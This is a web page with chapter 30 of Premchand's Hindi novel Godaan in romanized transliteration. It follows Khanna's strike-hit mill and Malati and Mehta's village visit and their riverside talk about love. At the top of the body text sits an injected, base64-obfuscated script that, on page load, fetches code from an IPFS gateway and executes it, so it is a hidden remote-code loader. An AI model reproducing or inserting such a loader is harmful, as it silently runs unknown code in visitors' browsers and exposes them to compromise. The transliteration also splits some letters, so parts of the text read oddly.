गोदान उपन्यास भाग-30

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>mil qarib-qarib poori jal chuki hai, lekin usi mil ko phir se kh da karana hoga. mistar khanna ne apani sari koshishean isake lie laga di haian. mazadooroan ki h datal jari hai, magar ab usase mil-malikoan ko koee vishesh hani nahian hai. ne adami kam vetan par mil ge haian aur ji to d kar kam karate haian, kyoanki unamean sabhi aise haian, jinhoanne bekari ke kasht bhog lie haian aur ab apana bas chalate aisa koee kam karana nahian chahate jisase unaki jivika mean badha p de. chahe jitana kam lo, chahe jitani kam chhuttiyaan do, unhean koee shikayat nahian. sir jhukae bailoan ki tarah kam mean lage rahate haian. ghu dakiyaan, galiyaan, yahaan tak ki dandoan ki mar bhi unamean glani nahian paida karati, aur ab purane mazadooroan ke lie isake siva koee marg nahian rah gaya hai ki vah isi ghati huee majoori par kam karane aean aur khanna sahab ki khushamad karean. pandit oankaranath par to unhean ab ratti-bhar bhi vishvas nahian hai. unhean ve akele-dukele paean to shayad unaki buri gat banaean, par panditaji bahut bache hue rahate haian. chirag jalane ke bad apane karyalay se bahar nahian nikalate aur aphasaroan ki khushamad karane lage haian. mirja khurshed ki dhak ab bhi jyoan-ki-tyoan haian, lekin mirja ji in becharoan ka kasht aur usake nivaran ka apane pas koee upay n dekh kar dil se chahate haian ki sab-ke-sab bahal ho jayan, magar isake sath hi ne adamiyoan ke kasht ka khayal karake jijnasuoan se yahi kah diya karate haian ki jaisi ichchha ho, vaisa karo.

mistar khanna ne purane adamiyoan ko phir naukari ke lie ichchhuk dekha, to aur bhi ak d ge, halaanki vah man se chahate the ki is vetan par purane adami nayoan se kahian achchhe haian. ne adami apana sara zor laga kar bhi purane adamiyoan ke barabar kam n kar sakate the. purane adamiyoan mean adhikaansh to bachapan se hi mil mean kam karane ke abhyast the aur khoob manje hue. ne adamiyoan mean adhikatar dehatoan ke du:khi kisan the, jinhean khuli hava aur maidan mean purane jamane ke lak di ke aujaroan se kam karane ki adat thi. mil ke aandar unaka dam ghutata tha aur mashinari ke tej chalane vale purjoan se unhean bhay lagata tha.

akhir jab purane adami khoob parast ho ge, tab khanna unhean bahal karane par raji hue, magar ne adami isase bhi kam vetan par bhi kam karane ke lie taiyar the aur ab dayarektaroan ke samane yah saval aya ki vah puranoan ko bahal karean ya nayoan ko rahane dean. dayarektaroan mean adhe to ne adamiyoan ka vetan ghata kar rakhane ke paksh mean the, adhoan ki yah dharana thi ki purane adamiyoan ko hal ke vetan par rakh liya jae. tho de-se rupe zyada kharch hoange zaroor, magar kam usase kahian zyada hoga. khanna mil ke pran the, ek tarah se sarvesarva. dayarektar to unake hath ki kathaputaliyaan the. nishchay khanna hi ke hathoan mean tha aur vah apane mitroan se nahian, shatruoan se bhi is vishay mean salah le rahe the. sabase pahale to unhoanne goviandi ki salah li. jab se malati ki or se unhean nirasha ho gee thi aur goviandi ko maloom ho gaya tha ki mehata jaisa vidvanh aur anubhavi aur jnani adami mera kitana samman karata hai aur mujhase kis prakar ki sadhana ki asha rakhata hai, tab se danpati mean sneh phir jag utha tha. sneh n kaho, magar sahachary to tha hi. apas mean vah jalan aur ashaanti n thi. bich ki divar toot gee thi.

malati ke rang-dhang ki bhi kayapalat hoti jati thi. mehata ka jivan ab tak svadhyay aur chiantan mean gujara tha, aur sab kuchh padh chukane ke bad aur atmavad aur anatmavad ki khoob chhan-bin kar lene par vah isi tatv par pahuanch jate the ki pravritti aur nivritti donoan ke bich mean jo seva-marg hai, chahe use karmayog hi kaho, vahi jivan ko sarthak kar sakata hai, vahi jivan ko ooancha aur pavitr bana sakata hai. kisi sarvajn eeshvar mean unaka vishvas n tha. yadyapi vah apani nastikata ko prakat n karate the, isalie ki is vishay mean nishchit roop se koee mat sthir karana vah apane lie asanbhav samajhate the, par yah dharana unake man mean dridh ho gee thi ki praniyoan ke janm-maran, sukh-du:kh, pap-puny mean koee eeshvariy vidhan nahian hai. unaka khayal tha ki manushy ne apane ahankar mean apane ko itana mahanh bana liya hai ki usake har ek kam ki prerana eeshvar ki or se hoti hai. isi tarah vah tiddiyaan bhi eeshvar ko uttaradayi thaharati hoangi, jo apane marg mean samudr a jane par araboan ki sankhya mean nasht ho jati haian. magar eeshvar ke yah vidhan itane ajney haian ki manushy ki samajh mean nahian ate, to unhean manane se hi manushy ko kya santosh mil sakata hai. eeshvar ki kalpana ka ek hi uddeshy unaki samajh mean ata tha aur vah tha manav-jivan ki ekata. ekatmavad ya sarvatmavad ya ahiansa-tatv ko vah adhyatmik drishti se nahian, bhautik drishti se hi dekhate the, yadyapi in tatvoan ka itihas ke kisi kal mean bhi adhipaty nahian raha, phir bhi manushy-jati ke saanskritik vikas mean unaka sthan b de mahatv ka hai. manav-samaj ki ekata mean mehata ka dridh vishvas tha, magar is vishvas ke lie unhean eeshvar-tatv ke manane ki zaroorat n maloom hoti thi. unaka manav-prem is adhar par avalanbit n tha ki prani-matr mean ek atma ka nivas hai. dvait aur advait vyavaharik mahatv ke siva vah aur koee upayog n samajhate the, aur vah vyavaharik mahatv unake lie manav-jati ko ek doosare ke samip lana, apas ke bhed-bhav ko mitana aur bhratri-bhav ko dridh karana hi tha. yah ekata, yah abhinnata unaki atma mean is tarah jam gee thi ki unake lie kisi adhyatmik adhar ki srrishti unaki drishti mean vyarth thi aur ek bar is tatv ko pa kar vah shaant n baith sakate the. svarth se alag adhik-se-adhik kam karana unake lie avashyak ho gaya tha. isake bagair unaka chitt shaant n ho sakata tha. yash, labh ya kartavy palan ke bhav unake man mean ate hi n the. inaki tuchchhata hi unhean inase bachane ke lie kafi thi. seva hi ab unaka svarth hoti jati thi. aur unaki is udar vritti ka asar ajnat roop se malati par bhi p data jata tha. ab tak jitane mard use mile, sabhi ne usaki vilas vritti ko hi ukasaya. usaki tyag vritti din-din kshin hoti jati thi, par mehata ke sansarg mean a kar usaki tyag-bhavana sajag ho uthi thi. sabhi manasvi praniyoan mean yah bhavana chhipi rahati hai aur prakash pa kar chamak uthati hai. adami agar dhan ya nam ke pichhe p da hai, to samajh lo ki abhi tak vah kisi parishkrit atma ke sanpark mean nahian aya. malati ab aksar gariboan ke ghar bina phis lie hi marijoan ko dekhane chali jati thi. marijoan ke sath usake vyavahar mean mriduta a gee thi. haan, abhi tak vah shauk-siangar se apana man n hata sakati thi. rang aur paudar ka tyag use apane aantarik parivartanoan se bhi kahian zyada kathin jan p data tha.

idhar kabhi-kabhi donoan dehatoan ki or chale jate the aur kisanoan ke sath do-char ghante rah kar, kabhi-kabhi unake jhoanp doan mean rat katakar, aur unhian ka-sa bhojan karake, apane ko dhany samajhate the. ek din vah semari tak pahuanch ge aur ghoomate-ghamate belari ja nikale. hori dvar par baitha chilam pi raha tha ki malati aur mehata a kar kh de ho ge. mehata ne hori ko dekhate hi pahachan liya aur bola - yahi tumhara gaanv hai? yad hai, ham log rayasahab ke yahaan ae the aur tum dhanushayajn ki lila mean mali bane the.

hori ki smriti jag uthi. pahachana aur pateshvari ke ghar ki or kurasiyaan lane chala.

mehata ne kaha - kurasiyoan ka koee kam nahian. ham log isi khat par baithe jate haian. yahaan kurasi par baithane nahian, tumase kuchh sikhane ae haian.

donoan khat par baithe. hori hatabuddhi-sa kh da tha. in logoan ki kya khatir kare! b de-b de adami haian. unaki khatir karane layaq usake pas hai hi kya?

akhir usane poochha - pani laooan?

mehata ne kaha - haan, pyas to lagi hai.

'kuchh mitha bhi leta aooan?'

'lao, agar ghar mean ho.'

hori ghar mean mitha aur pani lene gaya. tab tak gaanv ke balakoan ne a kar in donoan adamiyoan ko gher liya aur lage nirakhane, mano chi diyaghar ke anokhe jantu a ge hoan.

sillo bachche ko lie kisi kam se chali ja rahi thi. in donoan adamiyoan ko dekh kar kautoohalavash thithak gee.

malati ne a kar usake bachche ko god mean le liya aur pyar karati huee boli - kitane dinoan ka hai?

sillo ko thik n maloom tha. ek doosari aurat ne bataya - koee sal-bhar ka hoga, kyoan ri?

sillo ne samarthan kiya.

malati ne vinod kiya, pyara bachcha hai. ise hamean de do.

sillo ne garv se phool kar kaha - ap hi ka to hai.

'lo maian ise le jaooan?'

'le jaie. apake sath rah kar adami ho jayaga.'

gaanv ki aur mahilaean a geean aur malati ko hori ke ghar mean le geean. yahaan maradoan ke samane malati se vartalap karane ka avasar unhean n milata. malati ne dekha, khat bichhi hai, aur us par ek dari p di huee hai, jo pateshvari ke ghar se maang kar aee thi, malati ja kar baithi. santan-raksha aur shishu-palan ki batean hone lagian. auratean man laga kar sunati rahian.

dhaniya ne kaha - yahaan yah sab saphaee aur sanjam kaise hoga sarakar! bhojan tak ka thikana to hai nahian.

malati ne samajhaya - saphaee mean kuchh kharch nahian. keval tho di-si mehanat aur hoshiyari se kam chal sakata hai.

dulari sahuain ne poochha - yah sari batean tumhean kaise maloom hueean sarakar, apaka to abhi byah hi nahian hua?

malati ne muskara kar poochha - tumhean kaise maloom hua ki mera byah nahian hua hai.'

sabhi striyaan muanh pher kar muskaraeean. puniya boli-bhala, yah bhi chhipa rahata hai, mis sahab, muanh dekhate hi pata chal jata hai.

malati ne jheanpate hue kaha - isalie byah nahian kiya ki ap logoan ki seva kaise karati!

sabane ek svar mean kaha - dhany ho sarakar, dhany ho.

siliya malati ke paanv dabane lagi - sarakar kitani door se aee haian, thak gee hoangi.

malati ne paanv khianch kar kaha - nahian-nahian, maian thaki nahian hooan. maian to havaga di par aee hooan. maian chahati hooan, ap log apane bachche laean, to maian unhean dekh kar ap logoan ko bataooan ki ap inhean kaise tandurust aur nirog rakh sakati haian.

jara der mean bis-pachchis bachche a ge. malati unaki pariksha karane lagi. kee bachchoan ki aankhean uthi thian, unaki aankhoan mean dava dali. adhikatar bachche durbal the, jisaka karan tha, mata-pita ko bhojan achchha n milana. malati ko yah jan kar ashchary hua ki bahut kam gharoan mean doodh hota tha. ghi ke to saloan darshan nahian hote.

malati ne yahaan bhi unhean bhojan karane ka mahatv samajhaya, jaisa vah sabhi gaanvoan mean kiya karati thi. usaka ji isalie jalata tha ki ye log achchha bhojan kyoan nahian karate? use graminoan par krodh a jata tha. kya tumhara janm isalie hua hai ki tum mar-mar kar kamao aur jo kuchh paida ho, use kha n sako? jahaan do-char bailoan ke lie bhojan hai, ek-do gay-bhaisoan ke lie chara nahian hai? kyoan ye log bhojan ko jivan ki mukhy vastu n samajh kar use keval pran-raksha ki vastu samajhate haian? kyoan sarakar se nahian kahate ki nam-matr ke byaj par rupe de kar unhean soodakhor mahajanoan ke panje se bachae? usane jis kisi se poochha, yahi maloom hua ki unaki kamaee ka b da bhag mahajanoan ka karz chukane mean kharch ho jata hai. bantavare ka maraj bhi badhata jata tha. apas mean itana vaimanasy tha ki shayad hi koee do bhaee ek sath rahate hoan. unaki is durdasha ka karan bahut kuchh unaki sankirnata aur svarthaparata thi. malati inhian vishayoan par mahilaoan se batean karati rahi. unaki shraddha dekh-dekh kar usake man mean seva ki prerana aur bhi prabal ho rahi thi. is tyagamay jivan ke samane vah vilasi jivan kitana tuchchh aur banavati tha! aj usake vah reshami kap de, jin par jari ka kam tha, aur vah gandh se mahakata hua sharir, aur vah paudar se alankrit mukh-mandal, use lajjit karane laga. usaki kalaee par bandhi sone ki gh di jaise apane apalak netroan se use ghoor rahi thi. usake gale mean chamakata hua j daoo nekales mano usaka gala ghoant raha tha. in tyag aur shraddha ki deviyoan ke samane vah apani drishti mean nichi lag rahi thi. vah in graminoan se bahut-si batean zyada janati thi, samay ki gati zyada pahachanati thi, lekin jin paristhitiyoan mean ye garibinean jivan ko sarthak kar rahi haian, unamean kya vah ek din bhi rah sakati hai? jinamean ahankar ka nam nahian, din-bhar kam karati haian, upavas karati haian, roti haian, phir bhi itani prasann-mukh! doosare unake lie itane apane ho ge haian ki apana astitv hi nahian raha. unaka apanapan apane l dakoan mean, apane pati mean, apane sanbandhiyoan mean hai. is bhavana ki raksha karate hue isi bhavana ka kshetr aur badha kar bhavi naritv ka adarsh nirman hoga. jagrit deviyoan mean isaki jagah atm-sevan ka jo bhav a baitha hai sab kuchh apane lie, apane bhog-vilas ke lie usase to yah sushuptavastha hi achchhi. purush nirdayi hai, mana, lekin hai to inhian mataoan ka beta. kyoan mata ne putr ko aisi shiksha nahian di ki vah mata ki, stri-jati ki pooja karata? isilie ki mata ko yah shiksha deni nahian ati, isilie ki usane apane ko itana mitaya ki usaka roop hi big d gaya, usaka vyaktitv hi nasht ho gaya.

nahian, apane ko mitane se kam n chalega. nari ko samaj-kalyan ke lie apane adhikaroan ki raksha karani p degi, usi tarah jaise in kisanoan ko apani raksha ke lie is devatv ka kuchh tyag karana p dega.

sandhya ho gee thi. malati ko auratean ab tak ghere hue thian. usaki batoan se jaise unhean tripti hi n hoti thi. kee auratoan ne usase rat ko yahian rahane ka agrah kiya. malati ko bhi usaka saral sneh aisa pyara laga ki usane unaka nimantran svikar kar liya. rat ko auratean use apana gana sunaeangi. malati ne bhi pratyek ghar mean ja-ja kar unaki dasha se parichay prapt karane mean apane samay ka sadupayog kiya. usaki nishkapat sadbhavana aur sahanubhooti un ganvarinoan ke lie devi ke varadan se kam n thi.

udhar mehata sahab khat par asan jamae kisanoan ki kushti dekh rahe the. pachhata rahe the, mirja ji ko kyoan n sath le liya, nahian unaka bhi ek jo d ho jata. unhean ashchary ho raha tha, aise praudh aur nirih balakoan ke sath shikshit kahalane vale log kaise nirdayi ho jate haian. ajnan ki bhaanti jnan bhi saral, nishkapat aur sunahale svapn dekhane vala hota hai. manavata mean usaka vishvas itana dridh, itana sajiv hota hai ki vah isake viruddh vyavahar ko amanushik samajhane lagata hai. vah yah bhool jata hai ki bhe diyoan ne bhe doan ki nirihata ka javab sadaiv panje aur daantoan se diya hai. vah apana ek adarsh-sansar bana kar usako adarsh manavata se abad karata hai aur usi mean magn rahata hai. yatharthata kitani agamy, kitani durbodh, kitani aprakritik hai, usaki or vichar karana usake lie mushkil ho jata hai. mehata ji is samay in ganvaroan ke bich mean baithe hue isi prashn ko hal kar rahe the ki inaki dasha itani dayaniy kyoan hai? vah is saty se aankhean milane ka sahas n kar sakate the ki inaka devatv hi inaki durdasha ka karan hai. kash, ye adami zyada aur devata kam hote, to yoan n thukarae jate. desh mean kuchh bhi ho, kraanti hi kyoan n a jay, inase koee matalab nahian. koee dal unake samane sabal ke roop mean ae usake samane sir jhukane ko taiyar. unaki nirihata j data ki had tak pahuanch gee hai, jise kathor aghat hi karmany bana sakata hai. unaki atma jaise charoan or se nirash ho kar ab apane aandar hi taange to d kar baith gee hai. unamean apane jivan ki chetana hi jaise lupt ho gee hai.

sandhya ho gee thi. jo log ab tak khetoan mean kam kar rahe the, ve dau de chale a rahe the. usi samay mehata ne malati ko gaanv ki kee auratoan ke sath is tarah tallin ho kar ek bachche ko god mean lie dekha, mano vah bhi unhian mean se ek hai. mehata ka hriday anand se gadagad ho utha. malati ne ek prakar se apane ko mehata par arpan kar diya tha. is vishay mean mehata ko ab koee sandeh n tha, magar abhi tak unake hriday mean malati ke prati vah utkat bhavana jagrit n huee thi, jisake bina vivah ka prastav karana unake lie hasyajanak tha. malati bina bulae mehaman ki bhaanti unake dvar par a kar kh di ho gee thi, aur mehata ne usaka svagat kiya tha. isamean prem ka bhav n tha, keval purushatv ka bhav tha. agar malati unhean is yogy samajhati hai ki un par apani kripa-drishti phere, to mehata usaki is kripa ko asvikar n kar sakate the. isake sath hi vah malati ko goviandi ke raste se hata dena chahate the aur vah janate the, malati jab tak age paanv n jama legi, vah pichhala paanv n uthaegi. vah janate the, malati ke sath chhal karake vah apani nichata ka parichay de rahe haian. isake lie unaki atma unhean barabar dhikkarati rahi thi, magar jyoan-jyoan vah malati ko nikat se dekhate the, unake man mean akarshan badhata jata tha. roop ka akarshan to un par koee asar n kar sakata tha. yah gun ka akarshan tha. vah yah janate the, jise sachcha prem kah sakate haian, keval ek bandhan mean bandh jane ke bad hi paida ho sakata hai. isake pahale jo prem hota hai, vah to roop ki asakti-matr hai, jisaka koee tikav nahian, magar isake pahale yah nishchay to kar lena hi tha ki jo patthar sahachary ke kharad par chadhega, usamean kharade jane ki kshamata hai bhi ya nahian. sabhi patthar to kharad par chadh kar suandar moortiyaan nahian ban jate. itane dinoan mean malati ne unake hriday ke bhinn-bhinn bhagoan mean apani rashmiyaan dali thian, par abhi tak ve keandrit ho kar us jvala ke roop mean n phoot p di thian, jisase unaka sara aantastal prajjvalit ho jata. aj malati ne graminoan mean mil kar aur sare bhed-bhav mita kar in rashmiyoan ko mano keandrit kar diya. aur aj pahali bar mehata ko malati se ekatmata ka anubhav hua. jyoan hi malati gaanv ka chakkar laga kar lauti, unhoanne use sath le kar nadi ki or prasthan kiya. rat yahian katane ka nishchay ho gaya. malati ka kaleja aj n jane kyoan dhak-dhak karane laga. mehata ke mukh par aj use ek vichitr jyoti aur ichchha jhalakati huee najar aee.

nadi ke kinare chaandi ka pharsh bichha hua tha aur nadi ratn-jatit abhooshan pahane mithe svaroan mean gati, chaand ko aur taroan ko aur sir jhukae niand mean mate vrikshoan ko apana nrity dikha rahi thi. mehata prakriti ki us madak shobha se jaise mast ho ge. jaise unaka balapan apane sari kri daoan ke sath laut aya ho. baloo par kee kulatean marian. phir dau de hue nadi mean ja kar ghutanoan tak pani mean kh de ho ge.

malati ne kaha - pani mean n kh de ho. kahian thand n lag jae.

mehata ne pani uchhal kar kaha - mera to ji chahata hai, nadi ke us par tair kar chala jaooan.

'nahian-nahian, pani se nikal ao. maian n jane dooangi.'

'tum mere sath n chalogi us sooni basti mean, jahaan svapnoan ka rajy hai?'

'mujhe to tairana nahian ata.'

'achchha, ao, ek nav banaean, aur us par baith kar chalean.'

vah bahar nikal ae. as-pas b di door tak jhaoo ka jangal kh da tha. mehata ne jeb se chakoo nikala aur bahut-si tahaniyaan kat kar jama kian. kagar par sarapat ke joote kh de the. oopar chadh kar sarapat ka ek gattha kat lae aur vahian baloo ke pharsh par baith kar sarapat ki rassi batane lage. aise prasann the, mano svargarohan ki taiyari kar rahe haian. kee bar uangaliyaan chir geean, khoon nikala. malati big d rahi thi, bar-bar gaanv laut chalane ke lie agrah kar rahi thi, par unhean koee paravah n thi. vahi balakoan ka-sa ullas tha, vahi alh dapan, vahi hath. darshan aur vijnan sabhi is pravah mean bah ge the.

rassi taiyar ho gee. jhaoo ka b da-sa takhta ban gaya, tahaniyaan donoan siroan par rassi se jo d di gee thian. usake chhidroan mean jhaoo ki tahaniyaan bhar di geean, jisase pani oopar n ae. nauka taiyar ho gee. rat aur bhi svapnil ho gee thi.

mehata ne nauka ko pani mean dal kar malati ka hath pak d kar kaha - ao, baitho.

malati ne sashank ho kar kaha - do adamiyoan ka bojh sanbhal legi?

mehata ne darshanik muskan ke sath kaha - jis tari par baithe ham log jivan-yatra kar rahe haian, vah to isase kahian nissar hai malati? kya dar rahi ho?

'dar kis bat ka, jab tum sath ho.'

'sach kahati ho?'

'ab tak maianne bagair kisi ki sahayata ke badhaoan ko jita hai. ab to tumhare sang hooan.'

donoan us jhaoo ke takhte par baithe aur mehata ne jhaoo ke ek dande se hi use khena shuroo kiya. takhta dagamagata hua pani mean chala.

malati ne man ko is takhte se hatane ke lie poochha - tum ho hamesha shaharoan mean rahe, gaanv ke jivan ka tumhean kaise abhyas ho gaya? maian to aisa takhta kabhi n bana sakati.

mehata ne use anurakt netroan se dekh kar kaha - shayad yah mere pichhale janm ka sanskar hai. prakriti se sparsh hote hi jaise mujhamean naya jivan-sa a jata hai, nas-nas mean sphoorti dau dane lagati hai. ek-ek pakshi, ek-ek pashu, jaise mujhe anand ka nimantran deta hua jan p data hai, mano bhoole hue sukhoan ki yad dila raha ho. yah anand mujhe aur kahian nahian milata malati, sangit ke rulanevale svaroan mean bhi nahian, darshan ki ooanchi u danoan mean bhi nahian. jaise ye sab mere apane sage hoan. prakriti ke bich a kar maian jaise apane-apako pa jata hooan, jaise pakshi apane ghoansale mean a jae.

takhta dagamagata, kabhi tirachha, kabhi sidha, kabhi chakkar khata hua chala ja raha tha.

sahasa malati ne katar-kanth se poochha - aur maian tumhare jivan mean kabhi nahian ati?

mehata ne usaka hath pak d kar kaha - ati ho, bar-bar ati ho, sugandh ke ek jhoanke ki tarah, kalpana ki ek chhaya ki tarah aur phir adrishy ho jati ho. dau data hooan ki tumhean karapash mean baandh looan, par hath khule rah jate haian. aur tum gayab ho jati ho.

malati ne unmad ki dasha mean kaha - lekin tumane isaka karan bhi socha? samajhana chaha?

'haan malati, bahut socha, bar-bar socha.'

'to kya maloom hua?'

'yahi ki maian jis adhar par jivan ka bhavan kh da karana chahata hooan, vah asthir hai. yah koee vishal bhavan nahian hai, keval ek chhoti-si shaant kutiya hai, lekin usake lie bhi to koee sthir adhar chahie.'

malati ne apana hath chhu da kar jaise man karate hue kaha - yah jhootha akshep hai. tumane sadaiv mujhe pariksha ki aankhoan se dekha, kabhi prem ki aankhoan se nahian. kya tum itana bhi nahian janate ki nari pariksha nahian chahati, prem chahati hai. pariksha gunoan ko avagun, suandar ko asuandar banane vali chiz hai, prem avagunoan ko gun banata hai, asuandar ko suandar! maianne tumase prem kiya, maian kalpana hi nahian kar sakati ki tumamean koee buraee bhi hai, magar tumane meri pariksha ki aur tum mujhe asthir, chanchal aur jane kya-kya samajh kar mujhase hamesha door bhagate rahe. nahian, maian jo kuchh kahana chahati hooan, vah mujhe kah lene do. maian kyoan asthir aur chanchal hooan? isalie ki mujhe vah prem nahian mila, jo mujhe sthir aur achanchal banata. agar tumane mere samane usi tarah atmasamarpan kiya hota, jaise maianne tumhare samane kiya hai, to tum aj mujh par yah akshep n rakhate.

mehata ne malati ke man ka anand uthate hue kaha - tumane meri pariksha kabhi nahian ki? sach kahati ho?

'kabhi nahian.'

'to tumane galati ki.'

'maian isaki parava nahian karati.'

'bhavukata mean n ao malati! prem dene ke pahale ham sab pariksha karate haian aur tumane ki, chahe apratyaksh roop se hi ki ho. maian aj tumase spasht kahata hooan ki pahale maianne tumhean usi tarah dekha, jaise roj hi hajaroan deviyoan ko dekha karata hooan, keval vinod ke bhav se. agar maian galati nahian karata, to tumane bhi mujhe manoranjan ke lie ek naya khilauna samajha.'

malati ne toka - galat kahate ho. maianne kabhi tumhean is najar se nahian dekha. maianne pahale hi din tumhean apana dev bana kar apane hriday.......

mehata bat kat kar bole - phir vahi bhavukata. mujhe aise mahatv ke vishay mean bhavukata pasand nahian, agar tumane pahale hi din se mujhe is kripa ke yogy samajha to isaka yahi karan ho sakata hai, ki maian roop bharane mean tumase zyada kushal hooan, varana jahaan tak maianne nariyoan ka svabhav dekha hai, vah prem ke vishay mean kafi chhan-bin karati haian. pahale bhi to svayanvar se purushoan ki pariksha hoti thi? vah manovritti ab bhi maujood hai, chahe usaka roop kuchh badal gaya ho. maianne tab se barabar yahi koshish ki hai ki apane ko sanpoorn roop se tumhare samane rakh dooan aur usake sath hi tumhari atma tak bhi pahuanch jaooan. aur maian jyoan-jyoan tumhare aantastal ki gaharaee mean utara hooan, mujhe ratn hi mile haian. maian vinod ke lie aya aur aj upasak bana hua hooan. tumane mere bhitar kya paya, yah mujhe maloom nahian.

nadi ka doosara kinara a gaya. donoan utar kar usi baloo ke pharsh par ja baithe aur mehata phir usi pravah mean bole - aur aj maian yahaan vahi poochhane ke lie tumhean laya hooan?

malati ne kaanpate hue svar mean kaha - kya abhi tumhean mujhase yah poochhane ki zaroorat baki hai?

'haan, isalie ki maian aj tumhean apana vah roop dikhaooanga, jo shayad abhi tak tumane nahian dekha aur jise maianne bhi chhipaya hai. achchha, man lo, maian tumase vivah karake kal tumase bevaphaee karooan to tum mujhe kya saza dogi?'

malati ne unaki or chakit ho kar dekha. isaka ashay usaki samajh mean n aya.

'aisa prashn kyoan karate ho?'

'mere lie yah b de mahatv ki bat hai.'

'maian isaki sanbhavana nahian samajhati.'

'sansar mean kuchh bhi asanbhav nahian hai. b de-se-b da mahatma bhi ek kshan mean patit ho sakata hai.'

'maian usaka karan khojooangi aur use door karooangi.

'man lo, meri adat n chhoote.'

'phir maian nahian kah sakati, kya karooangi. shayad vish kha kar so rahooan.'

'lekin yadi tum mujhase hi prashn karo, to maian usaka doosara javab dooanga.'

malati ne sashank ho kar poochha - batalao!

mehata ne dridhata ke sath kaha - maian pahale tumhara pranaant kar dooanga, phir apana.

malati ne zor se kahakaha mara aur sir se paanv tak sihar uthi. usaki hansi keval usaki siharan ko chhipane ka avaran thi.

mehata ne poochha - tum hansi kyoan?

'isilie ki tum to aiese hiansavadi nahian jan p date.'

'nahian malati, is vishay mean maian poora pashu hooan aur us par lajjit hone ka koee karan nahian dekhata. adhyatmik prem aur tyagamay prem aur ni:svarth prem, jisamean adami apane ko mita kar keval premika ke lie jita hai, usake anand se anandit hota hai aur usake charanoan par apana atmasamarpan kar deta hai, ye mere lie nirarthak shabd haian. maianne pustakoan mean aisi prem-kathaean padhi haian, jahaan premi ne premika ke ne premiyoan ke lie apani jan de di hai, magar us bhavana ko maian shraddha kah sakata hooan, seva kah sakata hooan, prem kabhi nahian. prem sidhi-sadi goo nahian, khooankhvar sher hai, jo apane shikar par kisi ki aankh bhi nahian p dane deta.'

malati ne unaki aankhoan mean aankhean dal kar kaha - agar prem khooankhvar sher hai to maian usase door hi rahooangi. maianne to use gay hi samajh rakha tha. maian prem ko sandeh se oopar samajhati hooan. vah deh ki vastu nahian, atma ki vastu hai. sandeh ka vahaan jara bhi sthan nahian aur hiansa to sandeh ka hi parinam hai. vah sanpoorn atm-samarpan hai. usake mandir mean tum parikshak ban kar nahian, upasak ban kar hi varadan pa sakate ho.

vah uth kar kh di ho gee aur tezise nadi ki taraph chali, mano usane apana khoya hua marg pa liya ho. aisi sphoorti ka use kabhi anubhav n hua. usane svatantr jivan mean bhi apane mean ek durbalata paee thi, jo use sadaiv aandolit karati rahati thi, sadaiv asthir rakhati thi. usaka man jaise koee ashray khoja karata tha, jisake bal par tik sake, sansar ka samana kar sake. apane mean use yah shakti n milati thi. buddhi aur charitr ki shakti dekh kar vah usaki or lalayit ho kar jati thi. pani ki bhaanti har ek patr ka roop dharan kar leti thi. usaka apana koee roop n tha.

usaki manovritti abhi tak kisi pariksharthi chhatra ki-si thi. chhatra ko pustakoan se prem ho sakata hai aur ho jata hai, lekin vah pustak ke unhian bhagoan par zyada dhyan deta hai, jo pariksha mean a sakate haian. usaki pahali garaj pariksha mean saphal hona hai. jnanarjan isake bad hai. agar use maloom ho jay ki parikshak b da dayalu hai ya aandha hai aur chhatroan ko yoan hi pas kar diya karata hai, to shayad vah pustakoan ki or aankh utha kar bhi n dekhe. malati jo kuchh karati thi, mehata ko prasann karane ke lie. usaka matalab tha, mehata ka prem aur vishvas prapt karana, usake manorajy ki rani ban jana, lekin usi chhatra ki tarah apani yogyata ka vishvas jama kar. liyakat a jane se parikshak ap-hi-ap usase santusht ho jayaga, itana dhairy use n tha.

magar aj mehata ne jaise use thukara kar usaki atm-shakti ko jaga diya. mehata ko jab se usane pahali bar dekha tha, tabhi se usaka man unaki or jhuka tha. use vah apane parichitoan mean sabase samarth jan p de. usake parishkrit jivan mean buddhi ki prakharata aur vicharoan ki dridhata hi sabase ooanchi vastu thi. dhan aur aishvary ko to vah keval khilauna samajhati thi, jise khel kar l dake to d-pho d dalate haian. roop mean bhi ab usake lie vishesh akarshan n tha. yadyapi kuroopata ke lie ghrina thi. usako to ab buddhi-shakti hi apane or jhuka sakati thi, jisake ashray mean usamean atm-vishvas jage, apane vikas ki prerana mile, apane mean shakti ka sanchar ho, apane jivan ki sarthakata ka jnan ho. mehata ke buddhibal aur tejasvita ne usake oopar apane muhar laga di aur tab se vah apana sanskar karati chali jati thi. jis prerak-shakti ki use zaroorat thi, vah mil gee thi aur ajnat roop se use gati aur shakti de rahi thi. jivan ka naya adarsh jo usake samane a gaya tha, vah apane ko usake samip pahuanchane ki cheshta karati huee aur saphalata ka anubhav karati huee us din ki kalpana kar rahi thi, jab vah aur mehata ekatm ho jaeange aur yah kalpana use aur bhi dridh aur nishthavan bana rahi thi.

magar aj jab mehata ne usaki ashaoan ko dvar tak la kar prem ka vah adarsh usake samane rakha, jisamean prem ko atma aur samarpan ke kshetr se gira kar bhautik dharatal tak pahuancha diya gaya tha, jahaan sandeh aur eershya aur bhog ka raj hai, tab usaki parishkrit buddhi ahat ho uthi. aur mehata se jo use shraddha thi, use ek dhakka-sa laga, mano koee shishy apane guru ko koee nich karm karate dekh le. usane dekha, mehata ki buddhi-prakharata prem-tatv ko pashuta ki or khianche lie jati hai aur usake devatv ki or se aankhean band kie leti hai, aur yah dekh kar usaka dil baith gaya.

mehata ne kuchh lajjit ho kar kaha - ao, kuchh der aur baithean.

malati boli - nahian, ab lautana chahie. der ho rahi hai.

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sanbandhit lekh

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